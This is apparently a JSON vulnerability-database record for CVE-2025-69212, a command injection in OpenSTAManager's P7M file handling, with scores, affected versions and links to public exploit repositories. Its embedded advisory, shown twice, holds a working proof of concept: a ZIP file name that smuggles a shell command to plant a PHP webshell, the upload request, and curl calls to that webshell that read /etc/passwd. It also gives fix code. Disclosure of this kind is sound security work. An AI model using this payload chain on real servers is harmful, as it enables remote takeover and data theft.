{"id":"CVE-2025-69212","aliases":["EUVD-2025-206884","GHSA-25fp-8w8p-mx36"],"status":"published","title":"OpenSTAManager has an OS Command Injection in P7M File Processing","description":"OpenSTAManager is an open source management software for technical assistance and invoicing. In 2.9.8 and earlier, a critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server.","severity":{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.01915,"percentile":0.8002,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":false},"cwes":["CWE-78"],"published":"2026-02-06T17:59:37Z","modified":"2026-10-28T02:30:57Z","exploits":[{"source":"pocgithub","id":"0Zetrium0/CVE-2025-69212_PoC","title":"0Zetrium0/CVE-2025-69212_PoC","date":"2026-07-03","url":"https://github.com/0Zetrium0/CVE-2025-69212_PoC"},{"source":"pocgithub","id":"BridgerAlderson/CVE-2025-69212-PoC","title":"BridgerAlderson/CVE-2025-69212-PoC","date":"2026-06-30","url":"https://github.com/BridgerAlderson/CVE-2025-69212-PoC"},{"source":"pocgithub","id":"Pasindu-sd/CVE-2025-69212-Exploit","title":"Pasindu-sd/CVE-2025-69212-Exploit","date":"2026-08-21","url":"https://github.com/Pasindu-sd/CVE-2025-69212-Exploit"},{"source":"pocgithub","id":"alaeddine03/CVE-2025-69212-PoC","title":"alaeddine03/CVE-2025-69212-PoC","date":"2026-07-01","url":"https://github.com/alaeddine03/CVE-2025-69212-PoC"},{"source":"pocgithub","id":"c0gnit00/CVE-2026-69212","title":"c0gnit00/CVE-2026-69212","date":"2026-06-28","url":"https://github.com/c0gnit00/CVE-2026-69212"},{"source":"pocgithub","id":"d0lf1/htb-enigma-poc","title":"d0lf1/htb-enigma-poc","date":"2026-10-21","url":"https://github.com/d0lf1/htb-enigma-poc"},{"source":"pocgithub","id":"liaomilk/CVE-2025-69212-for-myself","title":"liaomilk/CVE-2025-69212-for-myself","date":"2026-08-01","url":"https://github.com/liaomilk/CVE-2025-69212-for-myself"},{"source":"pocgithub","id":"lolw0/OpenSTA-Exploit","title":"lolw0/OpenSTA-Exploit","date":"2026-08-14","url":"https://github.com/lolw0/OpenSTA-Exploit"},{"source":"pocgithub","id":"lukasz-rybak/CVE-2025-69212","title":"lukasz-rybak/CVE-2025-69212","date":"2026-04-11","url":"https://github.com/lukasz-rybak/CVE-2025-69212"},{"source":"pocgithub","id":"m2sousa/CVE-2025-69212","title":"m2sousa/CVE-2025-69212","date":"2026-07-01","url":"https://github.com/m2sousa/CVE-2025-69212"},{"source":"pocgithub","id":"mmoobbeeiidat-design/Hack-The-Box-Enigma-Findings-Report","title":"mmoobbeeiidat-design/Hack-The-Box-Enigma-Findings-Report","date":"2026-07-12","url":"https://github.com/mmoobbeeiidat-design/Hack-The-Box-Enigma-Findings-Report"},{"source":"pocgithub","id":"tohib09/CVE-2025-69212-PoC","title":"tohib09/CVE-2025-69212-PoC","date":"2026-06-27","url":"https://github.com/tohib09/CVE-2025-69212-PoC"},{"source":"pocgithub","id":"w3nch/CVE-2025-69212","title":"w3nch/CVE-2025-69212","date":"2026-06-29","url":"https://github.com/w3nch/CVE-2025-69212"},{"source":"pocgithub","id":"xorandd/CVE-2025-69212-PoC","title":"xorandd/CVE-2025-69212-PoC","date":"2026-06-30","url":"https://github.com/xorandd/CVE-2025-69212-PoC"}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"devcode-it/openstamanager","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.9.8"}]}]},{"source":"osv","ecosystem":"Packagist","package":"devcode-it/openstamanager","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.9.8"}]}],"versions":["2.3.0","v2.4","v2.4.1","v2.4.10","v2.4.11","v2.4.12","v2.4.13","v2.4.14","v2.4.15","v2.4.16","v2.4.17","v2.4.17.1","v2.4.18","v2.4.19","v2.4.2","v2.4.20","v2.4.21","v2.4.22","v2.4.23","v2.4.24","v2.4.25","v2.4.26","v2.4.27","v2.4.28","v2.4.29","v2.4.3","v2.4.30","v2.4.31","v2.4.32","v2.4.33","v2.4.34","v2.4.35","v2.4.36","v2.4.37","v2.4.38","v2.4.39","v2.4.4","v2.4.40","v2.4.41","v2.4.42","v2.4.43","v2.4.44","v2.4.45","v2.4.46","v2.4.47","v2.4.48","v2.4.49","v2.4.5","v2.4.50","v2.4.51","v2.4.52","v2.4.53","v2.4.54","v2.4.6","v2.4.7","v2.4.8","v2.4.9","v2.5","v2.5.1-beta","v2.5.2-beta","v2.5.3","v2.5.4","v2.5.5","v2.5.6","v2.5.7","v2.6-beta","v2.6.1","v2.6.2","v2.7","v2.7-beta","v2.7.1","v2.7.2","v2.7.3","v2.8-beta","v2.8.1","v2.8.2","v2.8.3","v2.9","v2.9-beta","v2.9.1","v2.9.2","v2.9.3","v2.9.4","v2.9.5","v2.9.6","v2.9.7","v2.9.8"]}],"products":[{"vendor":"devcode","product":"openstamanager"},{"vendor":"devcode-it","product":"openstamanager"}],"references":[{"url":"https://github.com/devcode-it/openstamanager/security/advisories/GHSA-25fp-8w8p-mx36","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69212","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-25fp-8w8p-mx36"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/69xxx/CVE-2025-69212.json","tags":["advisory"]},{"url":"https://github.com/devcode-it/openstamanager","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-69212","title":"OpenSTAManager has an OS Command Injection in P7M File Processing","description":"OpenSTAManager is an open source management software for technical assistance and invoicing. In 2.9.8 and earlier, a critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server.","status":"published","published":"2026-02-06T18:12:38.391Z","modified":"2026-02-09T15:29:00.443Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:32:41.089134Z"}],"euvd":[{"id":"EUVD-2025-206884","description":"OpenSTAManager is an open source management software for technical assistance and invoicing. In 2.9.8 and earlier, a critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server.","status":"published","published":"2026-02-06T18:12:38Z","modified":"2026-02-09T15:29:00Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"updated_at":"2026-11-02T19:48:42.465921Z"}],"ghsa":[{"id":"GHSA-25fp-8w8p-mx36","title":"OpenSTAManager has an OS Command Injection in P7M File Processing","description":"## Summary\nA critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server.\n\n\n## Vulnerable Code\n**File:** `src/Util/XML.php:100`\n\n```php\npublic static function decodeP7M($file)\n{\n    $directory = pathinfo($file, PATHINFO_DIRNAME);\n    $content = file_get_contents($file);\n\n    $output_file = $directory.'/'.basename($file, '.p7m');\n\n    try {\n        if (function_exists('exec')) {\n            // VULNERABLE - No input sanitization!\n            exec('openssl smime -verify -noverify -in \"'.$file.'\" -inform DER -out \"'.$output_file.'\"', $output, $cmd);\n```\n\n**The Problem:**\n- The `$file` parameter is passed directly into `exec()` without sanitization\n- Although wrapped in double quotes, an attacker can escape them\n- The filename comes from uploaded ZIP archives (user-controlled)\n\n## Attack Vector\n\n### Entry Points:\n1. **plugins/importFE_ZIP/actions.php:126** (when automatic import is enabled)\n   ```php\n   foreach ($files_xml as $xml) {\n       if (string_ends_with($xml, '.p7m')) {\n           $file = XML::decodeP7M($directory.'/'.$xml);  // $xml from ZIP!\n   ```\n\n2. **plugins/importFE/src/FatturaElettronica.php:56** (constructor)\n   ```php\n   if (string_ends_with($name, '.p7m')) {\n       $file = XML::decodeP7M($this-\u003efile);  // $name from user input!\n   ```\n\n### Attack Flow:\n1. Attacker creates ZIP with malicious filename\n2. Upload ZIP via importFE_ZIP plugin\n3. Application extracts ZIP and iterates files\n4. For `.p7m` files, `decodeP7M()` is called\n5. Malicious filename is injected into `exec()` command\n6. Arbitrary command executes as web server user\n\n## Proof of Concept\n\n**⚠️ IMPORTANT NOTE:** PHP's `ZipArchive::extractTo()` splits filenames on `/` character. Payload must NOT contain `/` in commands. Use `cd directory \u0026\u0026 command` instead of absolute paths.\n\n### Step 1: Create Malicious ZIP\n\n```python\nimport zipfile\n\ncmd = \"cd files \u0026\u0026 echo '\u003c?php system($_GET[\\\"c\\\"]); ?\u003e' \u003e SHELL.php\"\nmalicious_filename = f'invoice.p7m\";{cmd};echo \".p7m'\n\nwith zipfile.ZipFile('exploit.zip', 'w') as zf:\n    zf.writestr(malicious_filename, b\"DUMMY_P7M_CONTENT\")\n```\n\n### Step 2: Upload ZIP\n\n```http\nPOST /actions.php HTTP/1.1\nHost: localhost:8081\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc\nCookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b\n\n------WebKitFormBoundaryBKunENXxjEx5VrRc\nContent-Disposition: form-data; name=\"blob1\"; filename=\"exploit.zip\"\nContent-Type: application/zip\n\n[ZIP CONTENT]\n------WebKitFormBoundaryBKunENXxjEx5VrRc--\nContent-Disposition: form-data; name=\"op\"\n\nsave\n\n------WebKitFormBoundaryBKunENXxjEx5VrRc\nContent-Disposition: form-data; name=\"id_module\"\n\n14\n------WebKitFormBoundaryBKunENXxjEx5VrRc\nContent-Disposition: form-data; name=\"id_plugin\"\n\n48\n------WebKitFormBoundaryBKunENXxjEx5VrRc--\n```\n\u003cimg width=\"2539\" height=\"809\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f39cf6ad-9e8d-41de-866e-e01ec2064fd1\" /\u003e\n\n\u003cimg width=\"1543\" height=\"659\" alt=\"image\" src=\"https://github.com/user-attachments/assets/41fbd038-0bce-4b1c-bdc3-8ddcf3bf13be\" /\u003e\n\n### Step 3: Exploitation Result\n\n**Response (500 error is expected - XML parsing fails AFTER command execution):**\n```http\nHTTP/1.1 500 Internal Server Error\n{\"error\":{\"type\":\"Exception\",\"message\":\"Start tag expected, '\u003c' not found\"}}\n```\n\n**Verification - Webshell Created:**\n\n\u003cimg width=\"1111\" height=\"239\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d2e36cf3-c438-4509-be46-36d5c6f3e0d1\" /\u003e\n\n### Step 4: Remote Code Execution\n\n**Webshell is publicly accessible without authentication:**\n\n```bash\n$ curl \"http://localhost:8081/files/SHELL.php?c=id\"\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n\n$ curl \"http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd\"\n[Full /etc/passwd output]\n```\n\u003cimg width=\"698\" height=\"475\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7ee4630b-95a8-450c-bdce-d6f703c8168d\" /\u003e\n\n\n## Impact\n\n- **Remote Code Execution:** Full server compromise\n- **Data Exfiltration:** Access to all application data and database\n- **Privilege Escalation:** Potential escalation if web server runs with elevated privileges\n- **Persistence:** Install backdoors and maintain access\n- **Lateral Movement:** Pivot to other systems on the network\n\n## Prerequisites\n\n- Authenticated user with access to invoice import functionality\n\n## Remediation\n\n###  Input Sanitization\n\n```php\npublic static function decodeP7M($file)\n{\n    // Validate that file path doesn't contain shell metacharacters\n    if (preg_match('/[;\u0026|`$(){}\\\\[\\\\]\u003c\u003e]/', $file)) {\n        throw new \\Exception('Invalid file path');\n    }\n\n    // Better: use escapeshellarg()\n    $safe_file = escapeshellarg($file);\n    $safe_output = escapeshellarg($output_file);\n\n    exec(\"openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output\", $output, $cmd);\n}\n```\nor\n\n### Validate Filename Before Processing\n\n```php\n// In the upload handler, validate filenames from ZIP\nforeach ($files_xml as $xml) {\n    // Only allow alphanumeric, dots, dashes, underscores\n    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {\n        continue; // Skip invalid filenames\n    }\n\n    if (string_ends_with($xml, '.p7m')) {\n        $file = XML::decodeP7M($directory.'/'.$xml);\n    }\n}\n```\n\n\n## Credit\nDiscovered by: Łukasz Rybak","status":"published","published":"2026-02-06T17:59:37Z","modified":"2026-02-06T22:11:48Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:39:23.728882Z"}],"nvd":[{"id":"CVE-2025-69212","description":"OpenSTAManager is an open source management software for technical assistance and invoicing. In 2.9.8 and earlier, a critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server.","status":"published","published":"2026-02-06T19:16:07.373Z","modified":"2026-06-17T10:00:17.903Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:11:59.832225Z"}],"osv":[{"id":"CVE-2025-69212","title":"OpenSTAManager has an OS Command Injection in P7M File Processing","description":"OpenSTAManager is an open source management software for technical assistance and invoicing. In 2.9.8 and earlier, a critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server.","status":"published","published":"2026-02-06T18:12:38.391Z","modified":"2026-10-28T02:30:57.624232236Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:44:52.859856Z"},{"id":"GHSA-25fp-8w8p-mx36","title":"OpenSTAManager has an OS Command Injection in P7M File Processing","description":"## Summary\nA critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server.\n\n\n## Vulnerable Code\n**File:** `src/Util/XML.php:100`\n\n```php\npublic static function decodeP7M($file)\n{\n    $directory = pathinfo($file, PATHINFO_DIRNAME);\n    $content = file_get_contents($file);\n\n    $output_file = $directory.'/'.basename($file, '.p7m');\n\n    try {\n        if (function_exists('exec')) {\n            // VULNERABLE - No input sanitization!\n            exec('openssl smime -verify -noverify -in \"'.$file.'\" -inform DER -out \"'.$output_file.'\"', $output, $cmd);\n```\n\n**The Problem:**\n- The `$file` parameter is passed directly into `exec()` without sanitization\n- Although wrapped in double quotes, an attacker can escape them\n- The filename comes from uploaded ZIP archives (user-controlled)\n\n## Attack Vector\n\n### Entry Points:\n1. **plugins/importFE_ZIP/actions.php:126** (when automatic import is enabled)\n   ```php\n   foreach ($files_xml as $xml) {\n       if (string_ends_with($xml, '.p7m')) {\n           $file = XML::decodeP7M($directory.'/'.$xml);  // $xml from ZIP!\n   ```\n\n2. **plugins/importFE/src/FatturaElettronica.php:56** (constructor)\n   ```php\n   if (string_ends_with($name, '.p7m')) {\n       $file = XML::decodeP7M($this-\u003efile);  // $name from user input!\n   ```\n\n### Attack Flow:\n1. Attacker creates ZIP with malicious filename\n2. Upload ZIP via importFE_ZIP plugin\n3. Application extracts ZIP and iterates files\n4. For `.p7m` files, `decodeP7M()` is called\n5. Malicious filename is injected into `exec()` command\n6. Arbitrary command executes as web server user\n\n## Proof of Concept\n\n**⚠️ IMPORTANT NOTE:** PHP's `ZipArchive::extractTo()` splits filenames on `/` character. Payload must NOT contain `/` in commands. Use `cd directory \u0026\u0026 command` instead of absolute paths.\n\n### Step 1: Create Malicious ZIP\n\n```python\nimport zipfile\n\ncmd = \"cd files \u0026\u0026 echo '\u003c?php system($_GET[\\\"c\\\"]); ?\u003e' \u003e SHELL.php\"\nmalicious_filename = f'invoice.p7m\";{cmd};echo \".p7m'\n\nwith zipfile.ZipFile('exploit.zip', 'w') as zf:\n    zf.writestr(malicious_filename, b\"DUMMY_P7M_CONTENT\")\n```\n\n### Step 2: Upload ZIP\n\n```http\nPOST /actions.php HTTP/1.1\nHost: localhost:8081\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc\nCookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b\n\n------WebKitFormBoundaryBKunENXxjEx5VrRc\nContent-Disposition: form-data; name=\"blob1\"; filename=\"exploit.zip\"\nContent-Type: application/zip\n\n[ZIP CONTENT]\n------WebKitFormBoundaryBKunENXxjEx5VrRc--\nContent-Disposition: form-data; name=\"op\"\n\nsave\n\n------WebKitFormBoundaryBKunENXxjEx5VrRc\nContent-Disposition: form-data; name=\"id_module\"\n\n14\n------WebKitFormBoundaryBKunENXxjEx5VrRc\nContent-Disposition: form-data; name=\"id_plugin\"\n\n48\n------WebKitFormBoundaryBKunENXxjEx5VrRc--\n```\n\u003cimg width=\"2539\" height=\"809\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f39cf6ad-9e8d-41de-866e-e01ec2064fd1\" /\u003e\n\n\u003cimg width=\"1543\" height=\"659\" alt=\"image\" src=\"https://github.com/user-attachments/assets/41fbd038-0bce-4b1c-bdc3-8ddcf3bf13be\" /\u003e\n\n### Step 3: Exploitation Result\n\n**Response (500 error is expected - XML parsing fails AFTER command execution):**\n```http\nHTTP/1.1 500 Internal Server Error\n{\"error\":{\"type\":\"Exception\",\"message\":\"Start tag expected, '\u003c' not found\"}}\n```\n\n**Verification - Webshell Created:**\n\n\u003cimg width=\"1111\" height=\"239\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d2e36cf3-c438-4509-be46-36d5c6f3e0d1\" /\u003e\n\n### Step 4: Remote Code Execution\n\n**Webshell is publicly accessible without authentication:**\n\n```bash\n$ curl \"http://localhost:8081/files/SHELL.php?c=id\"\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n\n$ curl \"http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd\"\n[Full /etc/passwd output]\n```\n\u003cimg width=\"698\" height=\"475\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7ee4630b-95a8-450c-bdce-d6f703c8168d\" /\u003e\n\n\n## Impact\n\n- **Remote Code Execution:** Full server compromise\n- **Data Exfiltration:** Access to all application data and database\n- **Privilege Escalation:** Potential escalation if web server runs with elevated privileges\n- **Persistence:** Install backdoors and maintain access\n- **Lateral Movement:** Pivot to other systems on the network\n\n## Prerequisites\n\n- Authenticated user with access to invoice import functionality\n\n## Remediation\n\n###  Input Sanitization\n\n```php\npublic static function decodeP7M($file)\n{\n    // Validate that file path doesn't contain shell metacharacters\n    if (preg_match('/[;\u0026|`$(){}\\\\[\\\\]\u003c\u003e]/', $file)) {\n        throw new \\Exception('Invalid file path');\n    }\n\n    // Better: use escapeshellarg()\n    $safe_file = escapeshellarg($file);\n    $safe_output = escapeshellarg($output_file);\n\n    exec(\"openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output\", $output, $cmd);\n}\n```\nor\n\n### Validate Filename Before Processing\n\n```php\n// In the upload handler, validate filenames from ZIP\nforeach ($files_xml as $xml) {\n    // Only allow alphanumeric, dots, dashes, underscores\n    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {\n        continue; // Skip invalid filenames\n    }\n\n    if (string_ends_with($xml, '.p7m')) {\n        $file = XML::decodeP7M($directory.'/'.$xml);\n    }\n}\n```\n\n\n## Credit\nDiscovered by: Łukasz Rybak","status":"published","published":"2026-02-06T17:59:37Z","modified":"2026-02-22T23:20:53.007662Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:46:33.956911Z"}]}}